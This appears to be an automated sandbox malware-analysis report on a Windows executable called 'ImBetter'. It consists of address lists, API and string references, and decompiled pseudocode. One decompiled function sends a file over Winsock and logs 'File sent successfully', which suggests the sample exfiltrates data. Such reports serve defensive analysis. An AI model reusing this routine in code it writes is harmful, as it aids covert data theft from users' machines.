0x7ff7e6b17073
0x7ff7e6b1707f
0x7ff7e6b1709b
0x7ff7e6b170b0
0x7ff7e6b170b6
0x7ff7e6b170bb
0x7ff7e6b170c3
0x7ff7e6b170cc
0x7ff7e6b170d4
0x7ff7e6b170e0
0x7ff7e6b170fc
0x7ff7e6b17111
0x7ff7e6b17117
0x7ff7e6b1711c
0x7ff7e6b17124
0x7ff7e6b1712d
0x7ff7e6b17135
0x7ff7e6b1713a
0x7ff7e6b17146
0x7ff7e6b17162
0x7ff7e6b17177
0x7ff7e6b1717d
0x7ff7e6b17182
0x7ff7e6b1718a
0x7ff7e6b17193
0x7ff7e6b1719b
0x7ff7e6b171a7
0x7ff7e6b171c3
0x7ff7e6b171d8
0x7ff7e6b171de
0x7ff7e6b171e3
0x7ff7e6b171eb
0x7ff7e6b171f4
0x7ff7e6b171fc
0x7ff7e6b17200
0x7ff7e6b17209
0x7ff7e6b17222
0x7ff7e6b17237
0x7ff7e6b1723d
0x7ff7e6b17242
0x7ff7e6b1724a
0x7ff7e6b17250
0x7ff7e6b17255
0x7ff7e6b17261
0x7ff7e6b1727d
0x7ff7e6b17292
0x7ff7e6b17298
0x7ff7e6b1729d
0x7ff7e6b172a5
0x7ff7e6b172ae
0x7ff7e6b172b6
0x7ff7e6b172ba
0x7ff7e6b172c6
0x7ff7e6b172df
0x7ff7e6b172f4
0x7ff7e6b172fa
0x7ff7e6b172ff
0x7ff7e6b17307
0x7ff7e6b17310
0x7ff7e6b17315
0x7ff7e6b17321
0x7ff7e6b1733d
0x7ff7e6b17352
0x7ff7e6b17358
0x7ff7e6b1735d
0x7ff7e6b17365
0x7ff7e6b1736e
0x7ff7e6b17376
0x7ff7e6b17382
0x7ff7e6b1739e
0x7ff7e6b173b3
0x7ff7e6b173b9
0x7ff7e6b173be
0x7ff7e6b173c6
0x7ff7e6b173cf
0x7ff7e6b173d7
0x7ff7e6b173e3
0x7ff7e6b173ff
0x7ff7e6b17414
0x7ff7e6b1741a
0x7ff7e6b1741f
0x7ff7e6b17427
0x7ff7e6b17430
0x7ff7e6b17438
0x7ff7e6b17444
0x7ff7e6b17460
0x7ff7e6b17475
0x7ff7e6b1747b
0x7ff7e6b17480
0x7ff7e6b17488
0x7ff7e6b17491
0x7ff7e6b17499
0x7ff7e6b174a5
0x7ff7e6b174c1
0x7ff7e6b174d6
0x7ff7e6b174dc
0x7ff7e6b174e1
0x7ff7e6b174e9
0x7ff7e6b174f2
0x7ff7e6b174fa
0x7ff7e6b17506
0x7ff7e6b17522
0x7ff7e6b17537
0x7ff7e6b1753d
0x7ff7e6b17542
0x7ff7e6b1754a
0x7ff7e6b17553
0x7ff7e6b1755b
0x7ff7e6b17567
0x7ff7e6b17583
0x7ff7e6b17598
0x7ff7e6b1759e
0x7ff7e6b175a3
0x7ff7e6b175ab
0x7ff7e6b175b4
0x7ff7e6b175bc
0x7ff7e6b175c8
0x7ff7e6b175e4
0x7ff7e6b175f9
0x7ff7e6b175ff
0x7ff7e6b17604
0x7ff7e6b1760c
0x7ff7e6b17615
0x7ff7e6b1761d
0x7ff7e6b17629
0x7ff7e6b17645
0x7ff7e6b1765a
0x7ff7e6b17660
0x7ff7e6b17665
0x7ff7e6b1766d
0x7ff7e6b17676
0x7ff7e6b1767e
0x7ff7e6b1768a
0x7ff7e6b176a6
0x7ff7e6b176bb
0x7ff7e6b176c1
0x7ff7e6b176c6
0x7ff7e6b176ce
0x7ff7e6b176d7
0x7ff7e6b176df
0x7ff7e6b176eb
0x7ff7e6b17707
0x7ff7e6b1771c
0x7ff7e6b17722
0x7ff7e6b17727
0x7ff7e6b1772f
0x7ff7e6b17738
0x7ff7e6b17740
0x7ff7e6b1774c
0x7ff7e6b17768
0x7ff7e6b1777d
0x7ff7e6b17783
0x7ff7e6b17788
0x7ff7e6b17790
0x7ff7e6b17799
0x7ff7e6b177a1
0x7ff7e6b177ad
0x7ff7e6b177c9
0x7ff7e6b177de
0x7ff7e6b177e4
0x7ff7e6b177e9
0x7ff7e6b177f1
0x7ff7e6b177fa
0x7ff7e6b17802
0x7ff7e6b1780e
0x7ff7e6b1782a
0x7ff7e6b1783f
0x7ff7e6b17845
0x7ff7e6b1784a
0x7ff7e6b17852
0x7ff7e6b1785b
0x7ff7e6b1786f
0x7ff7e6b17884
0x7ff7e6b17889
0x7ff7e6b17891
0x7ff7e6b1789a
0x7ff7e6b178aa
0x7ff7e6b178b8
0x7ff7e6b178c6
0x7ff7e6b178d4
0x7ff7e6b178e2
0x7ff7e6b178e5
0x7ff7e6b178f5
0x7ff7e6b17902
0x7ff7e6b17928
0x7ff7e6b17930
0x7ff7e6b1793e
0x7ff7e6b1794c
0x7ff7e6b17959
0x7ff7e6b1796a
0x7ff7e6b17984
0x7ff7e6b179a4
0x7ff7e6b179a8
0x7ff7e6b179b0
0x7ff7e6b179b3
0x7ff7e6b179bf
0x7ff7e6b179cc
0x7ff7e6b179d2
0x7ff7e6b179dd
0x7ff7e6b179df
0x7ff7e6b179e2
0x7ff7e6b179eb
0x7ff7e6b179ed
0x7ff7e6b179f5
0x7ff7e6b179f7
0x7ff7e6b17a03
0x7ff7e6b17a0b
0x7ff7e6b17a17
0x7ff7e6b17a1d
0x7ff7e6b17a22
0x7ff7e6b17a2a
0x7ff7e6b17a32
0x7ff7e6b17a42
0x7ff7e6b17a53
0x7ff7e6b17a6a
0x7ff7e6b17a6c
0x7ff7e6b17a70
0x7ff7e6b17a85
0x7ff7e6b17ab5
0x7ff7e6b17abf
0x7ff7e6b17ad1
0x7ff7e6b17adb
0x7ff7e6b17add
0x7ff7e6b17ae0
0x7ff7e6b17ae5
0x7ff7e6b17ae7
0x7ff7e6b17aea
0x7ff7e6b17af0
0x7ff7e6b17af3
0x7ff7e6b17afb
0x7ff7e6b17b03
0x7ff7e6b17b18
0x7ff7e6b17b1a
0x7ff7e6b17b22
0x7ff7e6b17b2e
0x7ff7e6b17b36
0x7ff7e6b17b43
0x7ff7e6b17b48
0x7ff7e6b17b5c
0x7ff7e6b17b62
0x7ff7e6b17b6e
0x7ff7e6b17b85
0x7ff7e6b17b9a
0x7ff7e6b17ba0
0x7ff7e6b17ba5
0x7ff7e6b17bad
0x7ff7e6b17bb9
0x7ff7e6b17bc1
0x7ff7e6b17bcd
0x7ff7e6b17be4
0x7ff7e6b17bf9
0x7ff7e6b17bff
0x7ff7e6b17c0d
0x7ff7e6b17c12
0x7ff7e6b17c1d
0x7ff7e6b17c23
0x7ff7e6b17c26
0x7ff7e6b17c2c
0x7ff7e6b17c3d
0x7ff7e6b17c40
0x7ff7e6b17c4d
0x7ff7e6b17c55
0x7ff7e6b17c5f
0x7ff7e6b17c68
0x7ff7e6b17c76
0x7ff7e6b17c79
0x7ff7e6b17c80
0x7ff7e6b17c83
0x7ff7e6b17c93
0x7ff7e6b17ca1
0x7ff7e6b17cba
0x7ff7e6b17cd4
0x7ff7e6b17ce3
0x7ff7e6b17cfb
0x7ff7e6b17d12
0x7ff7e6b17d20
0x7ff7e6b17d30
0x7ff7e6b17d36
0x7ff7e6b17d3e
0x7ff7e6b17d4b
0x7ff7e6b17d55
0x7ff7e6b17d5d
0x7ff7e6b17d60
0x7ff7e6b17d64
0x7ff7e6b17d6c
0x7ff7e6b17d79
0x7ff7e6b17d7e
0x7ff7e6b17d81
0x7ff7e6b17d85
0x7ff7e6b17d89
0x7ff7e6b17d8f
0x7ff7e6b17da3
0x7ff7e6b17dae
0x7ff7e6b17db9
0x7ff7e6b17dbd
0x7ff7e6b17dc0
0x7ff7e6b17dc8
0x7ff7e6b17dca
0x7ff7e6b17dd1
0x7ff7e6b17dd7
0x7ff7e6b17ded
0x7ff7e6b17def
0x7ff7e6b17df2
0x7ff7e6b17df9
0x7ff7e6b17e01
0x7ff7e6b17e0e
0x7ff7e6b17e10
0x7ff7e6b17e14
0x7ff7e6b17e16
0x7ff7e6b17e1c
0x7ff7e6b17e5c

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17E5D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17E63
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17E69
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17E6F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17E75
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17E7B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17E81
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17E87
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17E8D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17E93
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17E99
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17E9F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EA5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EAB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EB1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EB7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EBD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EC3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EC9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17ECF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17ED5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EDB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EE1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EE7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EED
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EF3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EF9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17EFF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17F05
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17F0B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B17F11

Strings

ios_base::eofbit set, xrefs: 00007FF7E6B17F2F
IO, xrefs: 00007FF7E6B17902
ios_base::failbit set, xrefs: 00007FF7E6B17F28
ios_base::badbit set, xrefs: 00007FF7E6B17F1C
Ha, xrefs: 00007FF7E6B17A03

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$Ha$IO
API String ID: 3668304517-3191428694
Opcode ID: 01077d6d49195cba6c06b502379d57ee8169b091c002efa6c60d140c94a80f43
Instruction ID: 6c197b8d85de8a104e44f2f4877f724ec019740b73e7a4f0f5acb250ddf17456
Opcode Fuzzy Hash: 01077d6d49195cba6c06b502379d57ee8169b091c002efa6c60d140c94a80f43
Instruction Fuzzy Hash: 19824BA2A797C251E910A718D8453BFF352EB857A0FA05333D6AD07ADAEF7CD180C611

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B0C267 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 321
networkCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF77FF7E6B0C267(signed char __esi, void* __rax, void* __rcx, void* __rdx, intOrPtr* __rdi, void* __r13, intOrPtr* __r14, intOrPtr* __r15) {
				signed int _t103;
				signed int _t114;
				void* _t127;
				signed char _t129;
				signed char _t131;
				signed char _t135;
				signed char _t137;
				long long _t169;
				void* _t175;
				intOrPtr _t202;
				long long _t219;
				intOrPtr* _t220;
				void* _t223;
				intOrPtr _t224;
				intOrPtr _t227;
				intOrPtr _t233;
				intOrPtr _t236;
				intOrPtr _t239;
				intOrPtr _t242;
				void* _t247;
				void* _t249;
				signed long long _t251;
				intOrPtr* _t260;
				char* _t261;
				intOrPtr* _t262;
				char* _t264;
				char* _t265;
				long long _t267;

				_t137 = __esi;
				_t169 = __rax -  *((intOrPtr*)(__rcx - 8)) + 0xfffffff8;
				if (_t169 - 0x1f > 0) goto 0xe6b0c652;
				E00007FF77FF7E6B3CAF0(_t127,  *((intOrPtr*)(__rcx - 8)));
				E00007FF77FF7E6B3CAF8(_t127, __esi); // executed
				_t267 = _t169;
				_t219 = _t169;
				E00007FF77FF7E6B0DC40(__esi, _t249 - 0x50, _t219, _t247, __esi); // executed
				if (_t137 >= 0) goto 0xe6b0c2f3;
				r8d =  ~_t137;
				_t260 = _t249 + 0xe5 - 1;
				_t129 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t169 + _t219 + _t169 + _t219;
				r8b = r8b + 0x30;
				 *_t260 = r8b;
				r8d = _t129;
				if (_t129 != 0) goto 0xe6b0c2c0;
				_t261 = _t260 - 1;
				 *_t261 = 0x2d;
				goto 0xe6b0c32e;
				r8d = _t137;
				asm("o16 nop [eax+eax]");
				_t262 = _t261 - 1;
				_t131 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t169 + _t219 + _t169 + _t219;
				r8b = r8b + 0x30;
				 *_t262 = r8b;
				r8d = _t131;
				if (_t131 != 0) goto 0xe6b0c300;
				_t114 =  ~_t137;
				_t220 = _t262;
				E00007FF77FF7E6B03630((_t131 & 0x000000ff) << 2, _t249 - 0x78, _t220, _t249 + 0xe5);
				if (_t137 >= 0) goto 0xe6b0c37f;
				_t264 = _t249 + 0x105 - 1;
				 *_t264 = _t114 - _t169 + _t220 + _t169 + _t220 + 0x30;
				if (0xcccccccd * _t114 >> 0x20 >> 3 != 0) goto 0xe6b0c350;
				_t265 = _t264 - 1;
				 *_t265 = 0x2d;
				goto 0xe6b0c3ac;
				r8d = _t137;
				_t135 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t169 + _t220 + _t169 + _t220;
				r8b = r8b + 0x30;
				 *((intOrPtr*)(_t265 - 1)) = r8b;
				r8d = _t135;
				if (_t135 != 0) goto 0xe6b0c382;
				E00007FF77FF7E6B03630((_t135 & 0x000000ff) << 2, _t251 + 0x20, _t265 - 1, _t249 + 0x105);
				_t223 =  >=  ?  *((void*)(_t251 + 0x20)) : _t251 + 0x20;
				r9d = 0;
				r8d =  *(_t249 - 0x68);
				__imp__#19();
				_t224 =  *((intOrPtr*)(_t251 + 0x38));
				if (_t224 - 0x10 < 0) goto 0xe6b0c423;
				if (_t224 + 1 - 0x1000 < 0) goto 0xe6b0c41e;
				if ( *((intOrPtr*)(_t251 + 0x20)) -  *((intOrPtr*)( *((intOrPtr*)(_t251 + 0x20)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0c658;
				E00007FF77FF7E6B3CAF0(_t135,  *((intOrPtr*)( *((intOrPtr*)(_t251 + 0x20)) - 8)));
				 *((long long*)(_t251 + 0x30)) = 0;
				 *((long long*)(_t251 + 0x38)) = 0xf;
				 *((char*)(_t251 + 0x20)) = 0;
				_t227 =  *((intOrPtr*)(_t249 - 0x60));
				if (_t227 - 0x10 < 0) goto 0xe6b0c475;
				if (_t227 + 1 - 0x1000 < 0) goto 0xe6b0c470;
				_t175 =  *((intOrPtr*)(_t249 - 0x78)) -  *((intOrPtr*)( *((intOrPtr*)(_t249 - 0x78)) - 8)) + 0xfffffff8;
				if (_t175 - 0x1f > 0) goto 0xe6b0c65e;
				E00007FF77FF7E6B3CAF0(_t135,  *((intOrPtr*)( *((intOrPtr*)(_t249 - 0x78)) - 8)));
				r9d = 0;
				r8d = _t137;
				__imp__#19();
				E00007FF77FF7E6B3CAF0(_t135, _t267); // executed
				r12d = 0;
				goto 0xe6b0c4a2;
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B0F930(_t169 + _t220 + _t169 + _t220, _t135,  *((intOrPtr*)(_t251 + 0x40)), _t249 - 0x38, _t249); // executed
				if (_t175 != 0) goto 0xe6b0c4f0;
				_t202 =  *((intOrPtr*)( *((intOrPtr*)(_t249 - 0x50)) + 4));
				_t100 =  !=  ? 2 : 6;
				_t101 = ( !=  ? 2 : 6) |  *(_t249 + _t202 - 0x40);
				_t102 = (( !=  ? 2 : 6) |  *(_t249 + _t202 - 0x40)) & 0x00000017;
				 *(_t249 + _t202 - 0x40) = 6;
				_t103 = (( !=  ? 2 : 6) |  *(_t249 + _t202 - 0x40)) & 0x00000017 &  *(_t249 + _t202 - 0x3c);
				if ( *((long long*)(_t249 + _t202 - 8)) != 0) goto 0xe6b0c678;
				0xe6b0c6e0();
				_t233 =  *((intOrPtr*)(_t249 - 0x80));
				if (_t233 - 0x10 < 0) goto 0xe6b0c536;
				if (_t233 + 1 - 0x1000 < 0) goto 0xe6b0c531;
				if ( *((intOrPtr*)(_t251 + 0x68)) -  *((intOrPtr*)( *((intOrPtr*)(_t251 + 0x68)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0c6c8;
				E00007FF77FF7E6B3CAF0(2,  *((intOrPtr*)( *((intOrPtr*)(_t251 + 0x68)) - 8)));
				SleepEx(??, ??); // executed
				_t236 =  *((intOrPtr*)(__rdi + 0x18));
				if (_t236 - 0x10 < 0) goto 0xe6b0c57c;
				if (_t236 + 1 - 0x1000 < 0) goto 0xe6b0c577;
				if ( *__rdi -  *((intOrPtr*)( *__rdi - 8)) - 8 - 0x1f > 0) goto 0xe6b0c6ce;
				E00007FF77FF7E6B3CAF0(2,  *((intOrPtr*)( *__rdi - 8)));
				 *((long long*)(__rdi + 0x10)) = _t267;
				 *((long long*)(__rdi + 0x18)) = 0xf;
				 *((char*)(__rdi)) = 0;
				_t239 =  *((intOrPtr*)(__r15 + 0x18));
				if (_t239 - 0x10 < 0) goto 0xe6b0c5c5;
				if (_t239 + 1 - 0x1000 < 0) goto 0xe6b0c5c0;
				if ( *__r15 -  *((intOrPtr*)( *__r15 - 8)) - 8 - 0x1f > 0) goto 0xe6b0c640;
				E00007FF77FF7E6B3CAF0(2,  *((intOrPtr*)( *__r15 - 8)));
				 *((long long*)(__r15 + 0x10)) = _t267;
				 *((long long*)(__r15 + 0x18)) = 0xf;
				 *((char*)(__r15)) = 0;
				_t242 =  *((intOrPtr*)(__r14 + 0x18));
				if (_t242 - 0x10 < 0) goto 0xe6b0c60b;
				if (_t242 + 1 - 0x1000 < 0) goto 0xe6b0c606;
				if ( *__r14 -  *((intOrPtr*)( *__r14 - 8)) - 8 - 0x1f > 0) goto 0xe6b0c646;
				E00007FF77FF7E6B3CAF0(2,  *((intOrPtr*)( *__r14 - 8)));
				 *((long long*)(__r14 + 0x10)) = _t267;
				 *((long long*)(__r14 + 0x18)) = 0xf;
				 *((char*)(__r14)) = 0;
				return E00007FF77FF7E6B3C7F0(_t137, 0x64,  *(_t249 + 0x108) ^ _t251);
			}

0x7ff7e6b0c267
0x7ff7e6b0c272
0x7ff7e6b0c27a
0x7ff7e6b0c280
0x7ff7e6b0c28b
0x7ff7e6b0c290
0x7ff7e6b0c296
0x7ff7e6b0c29d
0x7ff7e6b0c2ab
0x7ff7e6b0c2b1
0x7ff7e6b0c2c0
0x7ff7e6b0c2cb
0x7ff7e6b0c2d9
0x7ff7e6b0c2dc
0x7ff7e6b0c2e0
0x7ff7e6b0c2e3
0x7ff7e6b0c2e8
0x7ff7e6b0c2ea
0x7ff7e6b0c2ed
0x7ff7e6b0c2f1
0x7ff7e6b0c2f3
0x7ff7e6b0c2f6
0x7ff7e6b0c300
0x7ff7e6b0c30b
0x7ff7e6b0c319
0x7ff7e6b0c31c
0x7ff7e6b0c320
0x7ff7e6b0c323
0x7ff7e6b0c328
0x7ff7e6b0c32c
0x7ff7e6b0c335
0x7ff7e6b0c33c
0x7ff7e6b0c34b
0x7ff7e6b0c350
0x7ff7e6b0c36d
0x7ff7e6b0c374
0x7ff7e6b0c376
0x7ff7e6b0c379
0x7ff7e6b0c37d
0x7ff7e6b0c37f
0x7ff7e6b0c38d
0x7ff7e6b0c39b
0x7ff7e6b0c39e
0x7ff7e6b0c3a2
0x7ff7e6b0c3a5
0x7ff7e6b0c3aa
0x7ff7e6b0c3bb
0x7ff7e6b0c3cb
0x7ff7e6b0c3d1
0x7ff7e6b0c3d4
0x7ff7e6b0c3e0
0x7ff7e6b0c3e6
0x7ff7e6b0c3ef
0x7ff7e6b0c403
0x7ff7e6b0c418
0x7ff7e6b0c41e
0x7ff7e6b0c423
0x7ff7e6b0c42c
0x7ff7e6b0c435
0x7ff7e6b0c43a
0x7ff7e6b0c442
0x7ff7e6b0c455
0x7ff7e6b0c462
0x7ff7e6b0c46a
0x7ff7e6b0c470
0x7ff7e6b0c475
0x7ff7e6b0c478
0x7ff7e6b0c481
0x7ff7e6b0c48a
0x7ff7e6b0c496
0x7ff7e6b0c499
0x7ff7e6b0c4a5
0x7ff7e6b0c4ad
0x7ff7e6b0c4b6
0x7ff7e6b0c4be
0x7ff7e6b0c4c4
0x7ff7e6b0c4d8
0x7ff7e6b0c4db
0x7ff7e6b0c4df
0x7ff7e6b0c4e2
0x7ff7e6b0c4e6
0x7ff7e6b0c4ea
0x7ff7e6b0c4f4
0x7ff7e6b0c4fa
0x7ff7e6b0c502
0x7ff7e6b0c516
0x7ff7e6b0c52b
0x7ff7e6b0c531
0x7ff7e6b0c53b
0x7ff7e6b0c542
0x7ff7e6b0c54a
0x7ff7e6b0c559
0x7ff7e6b0c56e
0x7ff7e6b0c577
0x7ff7e6b0c57c
0x7ff7e6b0c580
0x7ff7e6b0c588
0x7ff7e6b0c58b
0x7ff7e6b0c593
0x7ff7e6b0c5a2
0x7ff7e6b0c5b7
0x7ff7e6b0c5c0
0x7ff7e6b0c5c5
0x7ff7e6b0c5c9
0x7ff7e6b0c5d1
0x7ff7e6b0c5d5
0x7ff7e6b0c5dd
0x7ff7e6b0c5ec
0x7ff7e6b0c601
0x7ff7e6b0c606
0x7ff7e6b0c60b
0x7ff7e6b0c60f
0x7ff7e6b0c617
0x7ff7e6b0c63f

APIs

send.WS2_32 ref: 00007FF7E6B0C3E0
send.WS2_32 ref: 00007FF7E6B0C481
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0C652
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0C658
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0C65E

Strings

File sent successfully, xrefs: 00007FF7E6B0C48F
u4, xrefs: 00007FF7E6B0C4B6
ios_base::badbit set, xrefs: 00007FF7E6B0C67C
file_size, xrefs: 00007FF7E6B0C66B

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$send
String ID: File sent successfully$file_size$ios_base::badbit set$u4
API String ID: 3577782087-1382857223
Opcode ID: 9f5a29e23bce90b3106cd7c3bd5b900bd18635fb0295671388475c940871787d
Instruction ID: 199f789c7f38e8af9a54ae549955e97e94587b2222c010f451f3355be471a7c0
Opcode Fuzzy Hash: 9f5a29e23bce90b3106cd7c3bd5b900bd18635fb0295671388475c940871787d
Instruction Fuzzy Hash: D2D10462B2468285EB10FB29D8847BEBB61EB45B98FA08133DA5D077D6DF7CD481C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3CE4C Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00007FF77FF7E6B3CE4C(long long __rax, struct _CRITICAL_SECTION* __rbx, void* __r9, void* _a8) {

				InitializeCriticalSectionAndSpinCount(__rbx);
				GetModuleHandleW(??); // executed
				if (__rax != 0) goto 0xe6b3ce92;
				GetModuleHandleW(??);
				if (__rax == 0) goto 0xe6b3cf11;
				GetProcAddress(??, ??);
				GetProcAddress(??, ??);
				if (__rax == 0) goto 0xe6b3cecf;
				if (__rax == 0) goto 0xe6b3cecf;
				 *0xe6b6d8b0 = __rax;
				 *0xe6b6d8b8 = __rax;
				goto 0xe6b3ceed;
				r9d = 0;
				r8d = 0;
				CreateEventW(??, ??, ??, ??);
				 *0xe6b6d880 = __rax;
				if (__rax == 0) goto 0xe6b3cf11;
				if (E00007FF77FF7E6B3CBB4(0, __rax) == 0) goto 0xe6b3cf11;
				E00007FF77FF7E6B3CD64(E00007FF77FF7E6B3CBB4(0, __rax), __rax);
				return 0;
			}

0x7ff7e6b3ce62
0x7ff7e6b3ce6f
0x7ff7e6b3ce7b
0x7ff7e6b3ce84
0x7ff7e6b3ce90
0x7ff7e6b3ce9c
0x7ff7e6b3ceaf
0x7ff7e6b3ceb8
0x7ff7e6b3cebd
0x7ff7e6b3cebf
0x7ff7e6b3cec6
0x7ff7e6b3cecd
0x7ff7e6b3cecf
0x7ff7e6b3ced2
0x7ff7e6b3cedb
0x7ff7e6b3cee1
0x7ff7e6b3ceeb
0x7ff7e6b3cef6
0x7ff7e6b3ceff
0x7ff7e6b3cf10

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF7E6B3CE62
GetModuleHandleW.KERNELBASE ref: 00007FF7E6B3CE6F
GetModuleHandleW.KERNEL32 ref: 00007FF7E6B3CE84
GetProcAddress.KERNEL32 ref: 00007FF7E6B3CE9C
GetProcAddress.KERNEL32 ref: 00007FF7E6B3CEAF
CreateEventW.KERNEL32 ref: 00007FF7E6B3CEDB
DeleteCriticalSection.KERNEL32 ref: 00007FF7E6B3CF27
CloseHandle.KERNEL32 ref: 00007FF7E6B3CF39

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF7E6B3CE68
SleepConditionVariableCS, xrefs: 00007FF7E6B3CE92
kernel32.dll, xrefs: 00007FF7E6B3CE7D
WakeAllConditionVariable, xrefs: 00007FF7E6B3CEA2

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 57ed17b7b5498c45de356ae7ea8892c48b90c3afd5f66f0c9223a1a971865504
Instruction ID: 9614f81fb8a473c8ddc96d5342e26ecff6eb124a5cf4c1b25a8c128b58ea6040
Opcode Fuzzy Hash: 57ed17b7b5498c45de356ae7ea8892c48b90c3afd5f66f0c9223a1a971865504
Instruction Fuzzy Hash: 54213D20B79A0391FA54BB60EC55376B3A5AF84741FF46037C90E02AA5EF7CB4458222

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B4AA04 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E00007FF77FF7E6B4AA04(void* __ecx, void* __edi, void* __ebp, void* __eflags, long long __rbx, long long __rcx, signed int* __rdx, long long __rdi, long long __rsi, long long __r8) {
				void* __rbp;
				signed int _t151;
				long _t164;
				void* _t168;
				signed int _t170;
				void* _t184;
				signed int _t187;
				signed int _t188;
				void* _t213;
				void* _t217;
				intOrPtr* _t238;
				intOrPtr* _t241;
				long long _t253;
				long long _t261;
				signed long long _t267;
				signed long long _t281;
				intOrPtr _t282;
				signed long long _t283;
				signed long long _t302;
				signed int* _t307;
				long long _t310;
				void* _t312;
				void* _t313;
				intOrPtr* _t315;
				void* _t316;
				void* _t324;
				void* _t326;
				void* _t330;
				void* _t334;

				_t318 = __r8;
				_t217 = __ebp;
				_t213 = __edi;
				_t238 = _t315;
				 *((long long*)(_t238 + 8)) = __rbx;
